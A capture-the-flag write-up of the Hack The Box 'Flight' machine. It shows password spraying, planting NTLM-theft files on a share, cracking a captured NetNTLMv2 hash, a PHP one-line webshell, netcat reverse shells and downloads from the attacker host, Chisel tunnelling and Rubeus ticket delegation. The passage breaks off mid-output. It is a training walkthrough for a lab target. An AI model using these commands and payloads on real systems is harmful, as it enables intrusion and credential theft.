└─$ smbclient //flight.htb/web -U svc_apache 'S@Ss!K@*t13'
Password for [WORKGROUP\svc_apache]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Fri Mar 14 22:57:00 2025
  ..                                  D        0  Fri Mar 14 22:57:00 2025
  flight.htb                          D        0  Fri Mar 14 22:57:00 2025
  school.flight.htb                   D        0  Fri Mar 14 22:57:00 2025

        5056511 blocks of size 4096. 1249397 blocks available
smb: \>

Looking around shows both are basically static websites, with no database or creds or anything useful at this point. I’ll also confirm that svc_apache can’t write to any of these folders.

Password Spray

List Domain Users

I was able to get another user name, C.Bum, from the users share, but there may be more domain users. I’ll use lookupsid.py from Impacket to get a list of more:

┌──(puck㉿kali)-[~/htb/flight]
└─$ impacket-lookupsid flight.htb/svc_apache:'S@Ss!K@*t13'@flight.htb 
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Brute forcing SIDs at flight.htb
[*] StringBinding ncacn_np:flight.htb[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-4078382237-1492182817-2568127209
498: flight\Enterprise Read-only Domain Controllers (SidTypeGroup)
500: flight\Administrator (SidTypeUser)
501: flight\Guest (SidTypeUser)
--snip--
1613: flight\O.Possum (SidTypeUser)
1614: flight\WebDevs (SidTypeGroup)

I’ll use some Bash foo to get that into a list of usernames:

┌──(puck㉿kali)-[~/htb/flight]
└─$ impacket-lookupsid flight.htb/svc_apache:'S@Ss!K@*t13'@flight.htb | grep SidTypeUser | cut -d' ' -f 2 | cut -d'\' -f 2 | tee users
Administrator
Guest
krbtgt
G0$
S.Moon
R.Cold
G.Lors
L.Kein
M.Gold
C.Bum
W.Walker
I.Francis
D.Truff
V.Stevens
svc_apache
O.Possum

 

crackmapexec can also pull this list with the :

┌──(puck㉿kali)-[~/htb/flight]
└─$ nxc smb 10.10.11.187 -u svc_apache -p 'S@Ss!K@*t13' -d flight.htb --users 
SMB         10.10.11.187    445    G0               [*] Windows 10 / Server 2019 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.187    445    G0               [+] flight.htb\svc_apache:S@Ss!K@*t13 
SMB         10.10.11.187    445    G0               -Username-                    -Last PW Set-       -BadPW- -Description-
SMB         10.10.11.187    445    G0               Administrator                 2022-09-22 20:17:02 0       Built-in account for administering the computer/domain
SMB         10.10.11.187    445    G0               Guest                         <never>             0       Built-in account for guest access to the computer/domain
SMB         10.10.11.187    445    G0               krbtgt                        2022-09-22 19:48:01 0       Key Distribution Center Service Account
SMB         10.10.11.187    445    G0               S.Moon                        2022-09-22 20:08:22 0       Junion Web Developer
SMB         10.10.11.187    445    G0               R.Cold                        2022-09-22 20:08:22 0       HR Assistant
SMB         10.10.11.187    445    G0               G.Lors                        2022-09-22 20:08:22 0       Sales manager
SMB         10.10.11.187    445    G0               L.Kein                        2022-09-22 20:08:22 0       Penetration tester
SMB         10.10.11.187    445    G0               M.Gold                        2022-09-22 20:08:22 0       Sysadmin
SMB         10.10.11.187    445    G0               C.Bum                         2022-09-22 20:08:22 0       Senior Web Developer
SMB         10.10.11.187    445    G0               W.Walker                      2022-09-22 20:08:22 0       Payroll officer
SMB         10.10.11.187    445    G0               I.Francis                     2022-09-22 20:08:22 0       Nobody knows why he's here
SMB         10.10.11.187    445    G0               D.Truff                       2022-09-22 20:08:22 0       Project Manager
SMB         10.10.11.187    445    G0               V.Stevens                     2022-09-22 20:08:22 0       Secretary
SMB         10.10.11.187    445    G0               svc_apache                    2022-09-22 20:08:23 0       Service Apache web
SMB         10.10.11.187    445    G0               O.Possum                      2022-09-22 20:08:23 0       Helpdesk

Spray

It’s not uncommon for someone in charge of a service account to reuse their password with that service account. I’ll see if any of the accounts above share that password with crackmapexec. I always like to use the --continue-on-success in case more than one match:

┌──(puck㉿kali)-[~/htb/flight]
└─$ nxc smb 10.10.11.187 -u users -p 'S@Ss!K@*t13' -d flight.htb --continue-on-success 
SMB         10.10.11.187    445    G0               [*] Windows 10 / Server 2019 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.187    445    G0               [-] flight.htb\Administrator:S@Ss!K@*t13 STATUS_LOGON_FAILURE 
SMB         10.10.11.187    445    G0               [-] flight.htb\Guest:S@Ss!K@*t13 STATUS_LOGON_FAILURE 
SMB         10.10.11.187    445    G0               [-] flight.htb\krbtgt:S@Ss!K@*t13 STATUS_LOGON_FAILURE 
SMB         10.10.11.187    445    G0               [-] flight.htb\G0$:S@Ss!K@*t13 STATUS_LOGON_FAILURE 
SMB         10.10.11.187    445    G0               [+] flight.htb\S.Moon:S@Ss!K@*t13 
SMB         10.10.11.187    445    G0               [-] flight.htb\R.Cold:S@Ss!K@*t13 STATUS_LOGON_FAILURE 
SMB         10.10.11.187    445    G0               [-] flight.htb\G.Lors:S@Ss!K@*t13 STATUS_LOGON_FAILURE 
SMB         10.10.11.187    445    G0               [-] flight.htb\L.Kein:S@Ss!K@*t13 STATUS_LOGON_FAILURE 
SMB         10.10.11.187    445    G0               [-] flight.htb\M.Gold:S@Ss!K@*t13 STATUS_LOGON_FAILURE 
SMB         10.10.11.187    445    G0               [-] flight.htb\C.Bum:S@Ss!K@*t13 STATUS_LOGON_FAILURE 
SMB         10.10.11.187    445    G0               [-] flight.htb\W.Walker:S@Ss!K@*t13 STATUS_LOGON_FAILURE 
SMB         10.10.11.187    445    G0               [-] flight.htb\I.Francis:S@Ss!K@*t13 STATUS_LOGON_FAILURE 
SMB         10.10.11.187    445    G0               [-] flight.htb\D.Truff:S@Ss!K@*t13 STATUS_LOGON_FAILURE 
SMB         10.10.11.187    445    G0               [-] flight.htb\V.Stevens:S@Ss!K@*t13 STATUS_LOGON_FAILURE 
SMB         10.10.11.187    445    G0               [+] flight.htb\svc_apache:S@Ss!K@*t13 
SMB         10.10.11.187    445    G0               [-] flight.htb\O.Possum:S@Ss!K@*t13 STATUS_LOGON_FAILURE

 

S.Moon uses that same password!

Auth as C.Bum

SMB

In addition to the read access, S.Moon has write access to Shared:

┌──(puck㉿kali)-[~/htb/flight]
└─$ nxc smb flight.htb -u S.Moon -p 'S@Ss!K@*t13' --shares 
SMB         10.10.11.187    445    G0               [*] Windows 10 / Server 2019 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.187    445    G0               [+] flight.htb\S.Moon:S@Ss!K@*t13 
SMB         10.10.11.187    445    G0               [*] Enumerated shares
SMB         10.10.11.187    445    G0               Share           Permissions     Remark
SMB         10.10.11.187    445    G0               -----           -----------     ------
SMB         10.10.11.187    445    G0               ADMIN$                          Remote Admin
SMB         10.10.11.187    445    G0               C$                              Default share
SMB         10.10.11.187    445    G0               IPC$            READ            Remote IPC
SMB         10.10.11.187    445    G0               NETLOGON        READ            Logon server share 
SMB         10.10.11.187    445    G0               Shared          READ,WRITE      
SMB         10.10.11.187    445    G0               SYSVOL          READ            Logon server share 
SMB         10.10.11.187    445    G0               Users           READ            
SMB         10.10.11.187    445    G0               Web             READ   

Capture NetNTLMv2

Background

With write access to an otherwise empty share named Shared, there are files I can drop that might entice any legit visiting user to try to authenticate to my host. This post has a list of some of the ways this can be done. ntlm_theft is a nice tool to create a bunch of these files.

Upload Files

I’ll use ntml_theft.py to create all the files:

┌──(puck㉿kali)-[~/htb/flight/ntlm_theft]
└─$ python ntlm_theft.py -g all -s 10.10.14.4 -f puck
Created: puck/puck.scf (BROWSE TO FOLDER)
Created: puck/puck-(url).url (BROWSE TO FOLDER)
Created: puck/puck-(icon).url (BROWSE TO FOLDER)
Created: puck/puck.lnk (BROWSE TO FOLDER)
Created: puck/puck.rtf (OPEN)
Created: puck/puck-(stylesheet).xml (OPEN)
Created: puck/puck-(fulldocx).xml (OPEN)
Created: puck/puck.htm (OPEN FROM DESKTOP WITH CHROME, IE OR EDGE)
Created: puck/puck-(includepicture).docx (OPEN)
Created: puck/puck-(remotetemplate).docx (OPEN)
Created: puck/puck-(frameset).docx (OPEN)
Created: puck/puck-(externalcell).xlsx (OPEN)
Created: puck/puck.wax (OPEN)
Created: puck/puck.m3u (OPEN IN WINDOWS MEDIA PLAYER ONLY)
Created: puck/puck.asx (OPEN)
Created: puck/puck.jnlp (OPEN)
Created: puck/puck.application (DOWNLOAD AND OPEN)
Created: puck/puck.pdf (OPEN AND ALLOW)
Created: puck/zoom-attack-instructions.txt (PASTE TO CHAT)
Created: puck/Autorun.inf (BROWSE TO FOLDER)
Created: puck/desktop.ini (BROWSE TO FOLDER)
Generation Complete.

Connecting from the directory with the ntlm_theft output, I’ll upload all of them to the share:

┌──(puck㉿kali)-[~/htb/flight/ntlm_theft/puck]
└─$ smbclient //flight.htb/shared -U S.Moon 'S@Ss!K@*t13'
Password for [WORKGROUP\S.Moon]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Fri Mar 14 23:18:37 2025
  ..                                  D        0  Fri Mar 14 23:18:37 2025

        5056511 blocks of size 4096. 1248834 blocks available
smb: \> prompt false
smb: \> mput *
putting file puck-(stylesheet).xml as \puck-(stylesheet).xml (4.7 kb/s) (average 4.7 kb/s)
NT_STATUS_ACCESS_DENIED opening remote file \Autorun.inf
NT_STATUS_ACCESS_DENIED opening remote file \puck.wax
NT_STATUS_ACCESS_DENIED opening remote file \puck.scf
NT_STATUS_ACCESS_DENIED opening remote file \puck-(remotetemplate).docx
NT_STATUS_ACCESS_DENIED opening remote file \zoom-attack-instructions.txt
putting file puck.application as \puck.application (55.5 kb/s) (average 28.1 kb/s)
NT_STATUS_ACCESS_DENIED opening remote file \puck-(icon).url
NT_STATUS_ACCESS_DENIED opening remote file \puck.rtf
NT_STATUS_ACCESS_DENIED opening remote file \puck.lnk
putting file puck.jnlp as \puck.jnlp (5.8 kb/s) (average 20.6 kb/s)
putting file desktop.ini as \desktop.ini (1.4 kb/s) (average 15.9 kb/s)
NT_STATUS_ACCESS_DENIED opening remote file \puck-(includepicture).docx
NT_STATUS_ACCESS_DENIED opening remote file \puck.htm
NT_STATUS_ACCESS_DENIED opening remote file \puck-(externalcell).xlsx
NT_STATUS_ACCESS_DENIED opening remote file \puck.asx
NT_STATUS_ACCESS_DENIED opening remote file \puck.pdf
NT_STATUS_ACCESS_DENIED opening remote file \puck-(frameset).docx
putting file puck-(fulldocx).xml as \puck-(fulldocx).xml (1243.6 kb/s) (average 398.3 kb/s)
NT_STATUS_ACCESS_DENIED opening remote file \puck.m3u
NT_STATUS_ACCESS_DENIED opening remote file \puck-(url).url
smb: \> ls
  .                                   D        0  Fri Mar 14 23:27:19 2025
  ..                                  D        0  Fri Mar 14 23:27:19 2025
  desktop.ini                         A       46  Fri Mar 14 23:27:19 2025
  puck-(fulldocx).xml                 A    72584  Fri Mar 14 23:27:19 2025
  puck-(stylesheet).xml               A      162  Fri Mar 14 23:27:19 2025
  puck.application                    A     1649  Fri Mar 14 23:27:19 2025
  puck.jnlp                           A      191  Fri Mar 14 23:27:19 2025

        5056511 blocks of size 4096. 1248814 blocks available
smb: \> 

Interestingly, a bunch are blocked. But a few do make it.

Responder

With responder still running, after a minute or two there’s a hit from C.Bum:

[+] Listening for events...

[SMB] NTLMv2-SSP Client   : 10.10.11.187
[SMB] NTLMv2-SSP Username : flight.htb\c.bum
[SMB] NTLMv2-SSP Hash     : c.bum::flight.htb:952d95ad83925991:C89061B541623C50B94E338EC0561438:01010000000000000081AC2FFE94DB01334B6C122F9237C500000000020008004B0044003800410001001E00570049004E002D0043004C0032003700590031005500410043004A005A0004003400570049004E002D0043004C0032003700590031005500410043004A005A002E004B004400380041002E004C004F00430041004C00030014004B004400380041002E004C004F00430041004C00050014004B004400380041002E004C004F00430041004C00070008000081AC2FFE94DB01060004000200000008003000300000000000000000000000003000006BB4476AA12502962C1B8BCF41739B8A40001AEC54AC8B29CB7853DCEC60FF3E0A0010000000000000000000000000000000000009001E0063006900660073002F00310030002E00310030002E00310034002E0034000000000000000000

Crack NetNTLMv2

john with rockyou will quickly return the password “Tikkycoll_431012284”:

┌──(puck㉿kali)-[~/htb/flight]
└─$ john c.bum-net-ntlmv2 --wordlist=/usr/share/wordlists/rockyou.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Tikkycoll_431012284 (c.bum)     
1g 0:00:00:03 DONE (2025-03-14 16:33) 0.3003g/s 3164Kp/s 3164Kc/s 3164KC/s TinyMutt69..Thehunter22
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed. 
It works:
┌──(puck㉿kali)-[~/htb/flight]
└─$ nxc smb flight.htb -u c.bum -p 'Tikkycoll_431012284' 
SMB         10.10.11.187    445    G0               [*] Windows 10 / Server 2019 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.187    445    G0               [+] flight.htb\c.bum:Tikkycoll_431012284 

Shell as svc_apache

Webshell

SMB

C.Bum has write access to the Web share:

┌──(puck㉿kali)-[~/htb/flight]
└─$ nxc smb flight.htb -u c.bum -p 'Tikkycoll_431012284' --shares 
SMB         10.10.11.187    445    G0               [*] Windows 10 / Server 2019 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.187    445    G0               [+] flight.htb\c.bum:Tikkycoll_431012284 
SMB         10.10.11.187    445    G0               [*] Enumerated shares
SMB         10.10.11.187    445    G0               Share           Permissions     Remark
SMB         10.10.11.187    445    G0               -----           -----------     ------
SMB         10.10.11.187    445    G0               ADMIN$                          Remote Admin
SMB         10.10.11.187    445    G0               C$                              Default share
SMB         10.10.11.187    445    G0               IPC$            READ            Remote IPC
SMB         10.10.11.187    445    G0               NETLOGON        READ            Logon server share 
SMB         10.10.11.187    445    G0               Shared          READ,WRITE      
SMB         10.10.11.187    445    G0               SYSVOL          READ            Logon server share 
SMB         10.10.11.187    445    G0               Users           READ            
SMB         10.10.11.187    445    G0               Web             READ,WRITE      

Upload Webshell

I’ll start with a standard webshell, shell.php:

<?php system($_REQUEST['cmd']); ?>

I’ll move into the styles directory in school.flight.htb, and upload it there:

┌──(puck㉿kali)-[~/htb/flight]
└─$ smbclient //flight.htb/web -U c.bum 'Tikkycoll_431012284' 
Password for [WORKGROUP\c.bum]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Fri Mar 14 23:37:14 2025
  ..                                  D        0  Fri Mar 14 23:37:14 2025
  flight.htb                          D        0  Fri Mar 14 23:37:00 2025
  school.flight.htb                   D        0  Fri Mar 14 23:37:00 2025

        5056511 blocks of size 4096. 1248132 blocks available
smb: \> cd school.flight.htb
smb: \school.flight.htb\> ls
  .                                   D        0  Fri Mar 14 23:42:00 2025
  ..                                  D        0  Fri Mar 14 23:42:00 2025
  about.html                          A     1689  Tue Oct 25 05:54:45 2022
  blog.html                           A     3618  Tue Oct 25 05:53:59 2022
  home.html                           A     2683  Tue Oct 25 05:56:58 2022
  images                              D        0  Fri Mar 14 23:42:00 2025
  index.php                           A     2092  Thu Oct 27 09:59:25 2022
  lfi.html                            A      179  Thu Oct 27 09:55:16 2022
  styles                              D        0  Fri Mar 14 23:42:00 2025

        5056511 blocks of size 4096. 1248132 blocks available
smb: \school.flight.htb\> cd styles
smb: \school.flight.htb\styles\> ls
  .                                   D        0  Fri Mar 14 23:42:00 2025
  ..                                  D        0  Fri Mar 14 23:42:00 2025
  ie6.css                             A      587  Fri Dec  2 20:42:00 2011
  style.css                           A    11045  Wed Jan 25 21:17:32 2012

        5056511 blocks of size 4096. 1248132 blocks available
smb: \school.flight.htb\styles\> put shell.php
putting file shell.php as \school.flight.htb\styles\shell.php (1.2 kb/s) (average 1.2 kb/s)
smb: \school.flight.htb\styles\> ls
  .                                   D        0  Fri Mar 14 23:42:47 2025
  ..                                  D        0  Fri Mar 14 23:42:47 2025
  ie6.css                             A      587  Fri Dec  2 20:42:00 2011
  shell.php                           A       36  Fri Mar 14 23:42:47 2025
  style.css                           A    11045  Wed Jan 25 21:17:32 2012

        5056511 blocks of size 4096. 1248132 blocks available
smb: \school.flight.htb\styles\> 

 

I’m using styles just to be a bit more hidden. The webshell works:

┌──(puck㉿kali)-[~/htb/flight]
└─$ curl school.flight.htb/styles/shell.php?cmd=whoami
flight\svc_apache

 

Shell

To go from webshell to shell, I’ll upload nc64.exe to the same folder:

smb: \school.flight.htb\styles\> put nc64.exe nc64.exe
putting file nc64.exe as \school.flight.htb\styles\nc64.exe (99.6 kb/s) (average 99.6 kb/s)

Now I’ll invoke it over the webshell:

puck@kali$ curl -G school.flight.htb/styles/shell.php --data-urlencode 'cmd=nc64.exe -e cmd.exe 10.10.14.4 443'

It hangs, but at a nc listening, there’s a shell:

┌──(puck㉿kali)-[~/htb/flight]
└─$ rlwrap nc -nlvp 443                      
listening on [any] 443 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.11.187] 50027
Microsoft Windows [Version 10.0.17763.2989]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\xampp\htdocs\school.flight.htb\styles>whoami
whoami
flight\svc_apache

C:\xampp\htdocs\school.flight.htb\styles>

Shell as C.Bum

Enumeration

File System

As svc_apache, there’s not much I didn’t already have access to over SMB. The web directories sit at C:\xampp\htdocs, which is common for an XAMPP deployment on Windows.

There is an inetpub directory at the root of C:\. That’s the directory IIS typically runs from:

C:\>dir
 Volume in drive C has no label.
 Volume Serial Number is 163B-E248

 Directory of C:\

10/25/2022  06:22 PM    <DIR>          inetpub
06/07/2022  06:39 AM    <DIR>          PerfLogs
10/21/2022  11:49 AM    <DIR>          Program Files
07/20/2021  12:23 PM    <DIR>          Program Files (x86)
10/25/2022  05:49 PM    <DIR>          Shared
09/22/2022  12:28 PM    <DIR>          StorageReports
09/22/2022  01:16 PM    <DIR>          Users
10/21/2022  11:52 AM    <DIR>          Windows
09/22/2022  01:16 PM    <DIR>          xampp
               0 File(s)              0 bytes
               9 Dir(s)  15,360,438,272 bytes free

The wwwroot directory (the default server, kind of like html in /var/www with Apache on Linux) has the default stuff in it:

C:\inetpub\wwwroot>dir    
dir
 Volume in drive C has no label.
 Volume Serial Number is 163B-E248

 Directory of C:\inetpub\wwwroot    

09/22/2022  12:28 PM    <DIR>          .
09/22/2022  12:28 PM    <DIR>          ..
09/22/2022  12:28 PM    <DIR>          aspnet_client
09/22/2022  12:24 PM               703 iisstart.htm
09/22/2022  12:24 PM            99,710 iisstart.png
               2 File(s)        100,413 bytes
               3 Dir(s)  15,360,327,680 bytes free

But there is a development directory that looks to have a real website in it:

C:\inetpub\development>dir
 Volume in drive C has no label.
 Volume Serial Number is 163B-E248

 Directory of C:\inetpub\development

10/25/2022  06:22 PM    <DIR>          .
10/25/2022  06:22 PM    <DIR>          ..
04/16/2018  02:23 PM             9,371 contact.html
10/25/2022  06:22 PM    <DIR>          css
10/25/2022  06:22 PM    <DIR>          fonts
10/25/2022  06:22 PM    <DIR>          img
04/16/2018  02:23 PM            45,949 index.html
10/25/2022  06:22 PM    <DIR>          js
               2 File(s)         55,320 bytes
               6 Dir(s)  15,360,327,680 bytes free

The development directory can be written to by C.Bum:

C:\inetpub>icacls development
development flight\C.Bum:(OI)(CI)(W)
            NT SERVICE\TrustedInstaller:(I)(F)
            NT SERVICE\TrustedInstaller:(I)(OI)(CI)(IO)(F)
            NT AUTHORITY\SYSTEM:(I)(F)
            NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)
            BUILTIN\Administrators:(I)(F)
            BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
            BUILTIN\Users:(I)(RX)
            BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE)
            CREATOR OWNER:(I)(OI)(CI)(IO)(F)

Successfully processed 1 files; Failed processing 0 files

Network

Looking at the listening ports, there are a lot as is standard on any DC:

C:\xampp\htdocs\school.flight.htb\styles>netstat -ano | findstr LISTENING
  TCP    0.0.0.0:80             0.0.0.0:0              LISTENING       5328          
  TCP    0.0.0.0:88             0.0.0.0:0              LISTENING       676            
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING       968
  TCP    0.0.0.0:389            0.0.0.0:0              LISTENING       676
  TCP    0.0.0.0:443            0.0.0.0:0              LISTENING       5328
  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:464            0.0.0.0:0              LISTENING       676
  TCP    0.0.0.0:593            0.0.0.0:0              LISTENING       968 
  TCP    0.0.0.0:636            0.0.0.0:0              LISTENING       676
  TCP    0.0.0.0:3268           0.0.0.0:0              LISTENING       676
  TCP    0.0.0.0:3269           0.0.0.0:0              LISTENING       676
  TCP    0.0.0.0:5985           0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:8000           0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:9389           0.0.0.0:0              LISTENING       2876
  TCP    0.0.0.0:47001          0.0.0.0:0              LISTENING       4
...[snip]...

I’m particularly interested in the ones that I can’t reach from my VM, like 8000 (maybe the development site?).

C.Bum

C.Bum is a member of the WebDevs group, but not the Remote Users group:

C:\>net user C.Bum
User name                    C.Bum
Full Name                    
Comment                      Senior Web Developer
User's comment               
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            9/22/2022 1:08:22 PM
Password expires             Never
Password changeable          9/23/2022 1:08:22 PM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script                 
User profile                 
Home directory               
Last logon                   9/22/2022 2:50:24 PM

Logon hours allowed          All

Local Group Memberships      
Global Group memberships     *Domain Users         *WebDevs              
The command completed successfully.

This means I can’t use WinRM to execute commands as C.Bum in PowerShell.

RunasCs

The RunasCs project aims to create a binary like runas.exe but without limitations:

  • Allows explicit credentials
  • Works both if spawned from interactive process and from service process
  • Manage properly DACL for Window Stations and Desktop for the creation of the new process
  • Uses more reliable create process functions like CreateProcessAsUser() and CreateProcessWithTokenW() if the calling process holds the required privileges (automatic detection)
  • Allows to specify the logon type, e.g. 8-NetworkCleartext logon (no UAC limitations)
  • Allows to bypass UAC when an administrator password is known (flag –bypass-uac)
  • Allows redirecting stdin, stdout and stderr to a remote host
  • It’s Open Source 🙂

It’s from one of the authors of the Potato exploits, and a really nice tool to have.

I’ll download the latest release, host it with a Python web server, and upload it to Flight:

C:\ProgramData>powershell -c wget 10.10.14.3:8000/RunasCs.exe -outfile r.exe

Now I’ll invoke a cmd.exe as C.Bun using -r to redirect STDIN/STDOUT to my host:

C:\ProgramData>.\r.exe C.Bum Tikkycoll_431012284 -r 10.10.14.3:443 cmd
[*] Warning: Using function CreateProcessWithLogonW is not compatible with logon type 8. Reverting to logon type Interactive (2)...
[+] Running in session 0 with process function CreateProcessWithLogonW()
[+] Using Station\Desktop: Service-0x0-5ea78$\Default
[+] Async process 'cmd' with pid 4508 created and left in background.

C:\ProgramData>

With nc listening on my box, there’s a connection:

┌──(puck㉿kali)-[~/htb/flight]
└─$ rlwrap nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.11.187] 50043
Microsoft Windows [Version 10.0.17763.2989]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
flight\c.bum

C:\Windows\system32>

 

I can now get user.txt:

C:\Users\C.Bum\Desktop>type user.txt
45d7ff00d8e8********************

Shell as defaultapppoll

Enumeration

Tunnel

I’ll take a look at the development website. To do this, I’ll upload Chisel:

C:\ProgramData>powershell -c wget 10.10.14.3:8000/chisel.exe -outfile c.exe

Now I’ll start the server on my VM:

┌──(puck㉿kali)-[~/htb/flight]
└─$ chisel server -p 8000 --reverse
2025/03/21 02:56:18 server: Reverse tunnelling enabled
2025/03/21 02:56:18 server: Fingerprint 30mcEyeiYU0qX9+F3KqwQ2z0ArRnPkDC3B+7iKM5i5s=
2025/03/21 02:56:18 server: Listening on http://0.0.0.0:8000

I use -p 8000 to listen on 8000 (the default port of 8080 is already in use by Burp), and give it --reverse to allow incoming connections to open listeners on my host that tunnel back through them.

I’ll connect from Flight, tunneling port 8001 on my host through the tunnel to 8000 on Flight:

c:\ProgramData>.\c client 10.10.14.3:8000 R:8001:127.0.0.1:8000
.\c client 10.10.14.3:8000 R:8001:127.0.0.1:8000
2025/03/20 18:57:10 client: Connecting to ws://10.10.14.3:8000
2025/03/20 18:57:10 client: Connected (Latency 10.1468ms)

 

Site

Visiting http://127.0.0.1:8001 in Firefox returns another site:

Nothing useful on the page. There’s a /contact.html that doesn’t have any useful information either.

Tech Stack

The response headers show that the site is hosted by IIS (rather than Apache):

HTTP/1.1 200 OK
Content-Type: text/html
Last-Modified: Mon, 16 Apr 2018 21:23:22 GMT
Accept-Ranges: bytes
ETag: "019c25c9d5d31:0"
Server: Microsoft-IIS/10.0
X-Powered-By: ASP.NET
Date: Wed, 26 Oct 2022 01:47:57 GMT
Connection: close
Content-Length: 9371

They also show X-Powered-By: ASP.NET. Typically that means that .aspx type pages are in use.

WebShell

Write File

I’ll remember that C.Bum should have write access to this directory. I’ll test that out with a dummy file:

C:\inetpub\development>echo "test" > puck.txt

The text loads:

 

ASPX Echo

To see if ASPX code will run, I’ll create a silly ASPX file that writes a string, poc.aspx:

<% Response.Write("puck was here") %>

I’ll upload that over SMB, and then copy it into the development directory:

C:\inetpub\development>copy \xampp\htdocs\poc.aspx .
        1 file(s) copied.

On visiting the page, it works:

 

. 

Webshell

To run commands, I’ll download this aspx webshell from GitHub, upload it over SMB, and copy it into place:

c:\inetpub\development\development>powershell -c wget 10.10.14.3/cmd.aspx -outfile cmd.aspx
                                   powershell -c wget 10.10.14.3/cmd.aspx -outfile cmd.aspx
powershell -c wget 10.10.14.3/cmd.aspx -outfile cmd.aspx

c:\inetpub\development\development>

Loading the page shows a form:

Clicking “Run” shows the output below:

. 

Shell

My copy of nc64.exe has long been wiped by resets, but I’ll upload it back to \programdata,

c:\inetpub\development\development>powershell -c wget 10.10.14.3/nc64.exe -outfile c:\programdata\nc64.exe

and then execute it via the cmd.aspx webshell:

/c c:\programdata\nc64.exe 10.10.14.3 443 -e cmd

 

At my nc listener, I get a shell as defaultapppool:

┌──(puck㉿kali)-[~/htb]
└─$ rlwrap nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.3] from (UNKNOWN) [10.10.11.187] 51778
Microsoft Windows [Version 10.0.17763.2989]
(c) 2018 Microsoft Corporation. All rights reserved.

c:\windows\system32\inetsrv>whoami
whoami
iis apppool\defaultapppool

c:\windows\system32\inetsrv>

 

Shell as administrator

Strategy

iis apppool\defaultapppool is a Microsoft Virtual Account. One thing about these accounts is that when they authenticate over the network, they do so as the machine account. For example, if I start responder and then try to open an SMB share on it (net use \\10.10.14.6\doesntmatter), the account I see trying to authenticate is flight\G0$:

[SMB] NTLMv2-SSP Client   : ::ffff:10.10.11.187
[SMB] NTLMv2-SSP Username : flight\G0$
[SMB] NTLMv2-SSP Hash     : G0$::flight:1e589bf41238cf8e:547002306786919B6BB28F45BC6EEA4F:010100000000000080ADD9B1DBEAD801A1870276D7F4D729000000000200080052004F003500320001001E00570049004E002D00450046004B004A004B0059004500500037003900500004003400570049004E002D00450046004B004A004B005900450050003700390050002E0052004F00350032002E004C004F00430041004C000300140052004F00350032002E004C004F00430041004C000500140052004F00350032002E004C004F00430041004C000700080080ADD9B1DBEAD80106000400020000000800300030000000000000000000000000300000B1315E28BC96528147F3929B329DC4FE9D27ADEB96DF3BCF9F6C892CCB4443D80A0010000000000000000000000000000000000009001E0063006900660073002F00310030002E00310030002E00310034002E0036000000000000000000

I won’t be able to crack that NetNTLMv2 because the machine accounts use long random passwords. But it does show that the defaultapppool account is authenticating as the machine account.

To abuse this, I’ll just ask the machine for a ticket for the machine account over the network. I showed this same attack as an unintended method in PivotAPI.

Get Ticket

Upload Rubeus

Rather than compile it myself, I’ll grab the latest compiled version of the binary from SharpCollection. I’ll host it with Python HTTP, and upload it to Flight:

c:\ProgramData>powershell wget 10.10.14.3:8000/Rubeus.exe -outfile rubeus.exe

Generate Ticket

To create a ticket, I’ll use the tgtdeleg command:

c:\ProgramData>.\rubeus.exe tgtdeleg /nowrap

c:\windows\system32\inetsrv>whoami
whoami
iis apppool\defaultapppool

c:\windows\system32\inetsrv>cd c:\programdata
cd c:\programdata

c:\ProgramData>.\rubeus.exe tgtdeleg /nowrap
.\rubeus.exe tgtdeleg /nowrap

   ______        _                      
  (_____ \      | |                     
   _____) )_   _| |__  _____ _   _  ___ 
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.3.2 


[*] Action: Request Fake Delegation TGT (current user)

[*] No target SPN specified, attempting to build 'cifs/dc.domain.com'
[*] Initializing Kerberos GSS-API w/ fake delegation for target 'cifs/g0.flight.htb'
[+] Kerberos GSS-API initialization success!
[+] Delegation requset success! AP-REQ delegation ticket is now in GSS-API output.
[*] Found the AP-REQ delegation ticket in the GSS-API output.
[*] Authenticator etype: aes256_cts_hmac_sha1
[*] Extracted the service ticket session key from the ticket cache: 0bDamHJs2SjKKtAP1mRuzqikYdtu2QKPe186mdGmuZY=
[+] Successfully decrypted the authenticator
[*] base64(ticket.kirbi):

